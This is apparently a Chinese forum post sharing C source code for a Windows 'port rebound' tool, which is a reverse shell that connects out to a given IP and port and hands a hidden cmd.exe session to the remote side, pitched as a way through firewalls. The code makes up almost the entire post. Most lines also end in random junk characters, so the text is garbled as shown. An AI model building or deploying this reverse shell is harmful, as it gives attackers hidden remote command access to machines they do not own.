Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 HPTHF  
x-4J/tm  
/* ============================== LJ l1v  
Rebound port in Windows NT =~$U^IsWA  
By wind,2006/7 /h-6CR Ka  
===============================*/ tGqQJT#mr7  
#include 54wM8'+  
#include .xnQd^qoac  
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#pragma comment(lib,"wsock32.lib") \6LcVik  
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void OutputShell(); :f]!O@.~  
SOCKET sClient; :H3(w|T/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .m!s". ?[  
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void main(int argc,char **argv) gDj_KKd  
{ &@"w-M  
WSADATA stWsaData; 1:YAn  
int nRet; hy=u}^F.C  
SOCKADDR_IN stSaiClient,stSaiServer; 8L{$v~
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if(argc != 3)
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{ *G9 [j$  
printf("Useage:\n\rRebound DestIP DestPort\n"); wmiafBA e  
return; Y8t Nwh  
} oc=tI@W  
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WSAStartup(MAKEWORD(2,2),&stWsaData); "&Ff[O*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W'd/dKUx  
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stSaiClient.sin_family = AF_INET; u IF$u  
stSaiClient.sin_port = htons(0); 6_Fpca3L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); UMv"7~  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1=i
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{ a (P^e)<  
printf("Bind Socket Failed!\n"); vP-3j  
return; VPdwSW[eM  
} @pTD{OW?  
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stSaiServer.sin_family = AF_INET; Q +R3H
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a4L
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2\DTJ`Y,  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `:V}1ioX5  
{ uAc@ Z-  
printf("Connect Error!"); IPwj_jvw  
return; ZK%Kgk[\:~  
} VjC*(6<Gj  
OutputShell(); zoJ_=- *s  
} Wk7L:uK  
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void OutputShell() =X)Q7u".7  
{ ,}eRnl
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char szBuff[1024]; sM#!Xl;  
SECURITY_ATTRIBUTES stSecurityAttributes; V h Z=,m  
OSVERSIONINFO stOsversionInfo; .WBI%ci  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;Fx')  
STARTUPINFO stStartupInfo; _)OA$  
char *szShell; )GB3=@  
PROCESS_INFORMATION stProcessInformation; ){+.
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unsigned long lBytesRead; zJz82jMm  

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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YgO aZqN  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (~q#\  
stSecurityAttributes.lpSecurityDescriptor = 0; A/ 7r:yO  
stSecurityAttributes.bInheritHandle = TRUE; Cf.pTYSl  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pe\Txg
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IyrZez  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YRg=yVo2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~AEqfIx*^&  
stStartupInfo.wShowWindow = SW_HIDE; L4\SBO  
stStartupInfo.hStdInput = hReadPipe; ipx@pNW;"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; } l:mN  
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GetVersionEx(&stOsversionInfo); 3g?MEM~  

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switch(stOsversionInfo.dwPlatformId) nQ:ml  
{ *,O :>Z5I  
case 1: +O;OSZ  
szShell = "command.com"; X{0ax.  
break; se<i5JsSV  
default: =fKhXd  
szShell = "cmd.exe"; P@gu~!  
break; 8+*g4=ws  
} ]&3s6{R  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :pA=V
 
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send(sClient,szMsg,77,0); g\ 8#:@at  
while(1) nU=f<]S=  
{ &,m'sQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I><99cwFI  
if(lBytesRead) xTa4.ZXg  
{ "o\6k"_c>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G=r(SJq  
send(sClient,szBuff,lBytesRead,0); Gk{ "O%AE  
} 
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else t-v^-#  
{ 9s;!iDFn  
lBytesRead=recv(sClient,szBuff,1024,0); xHM&csL  
if(lBytesRead<=0) break; #U?EOm  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qP7&LtU  
} "-0pz\a  
} M9uH&CD6U  
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return; ?=/}Ft  
}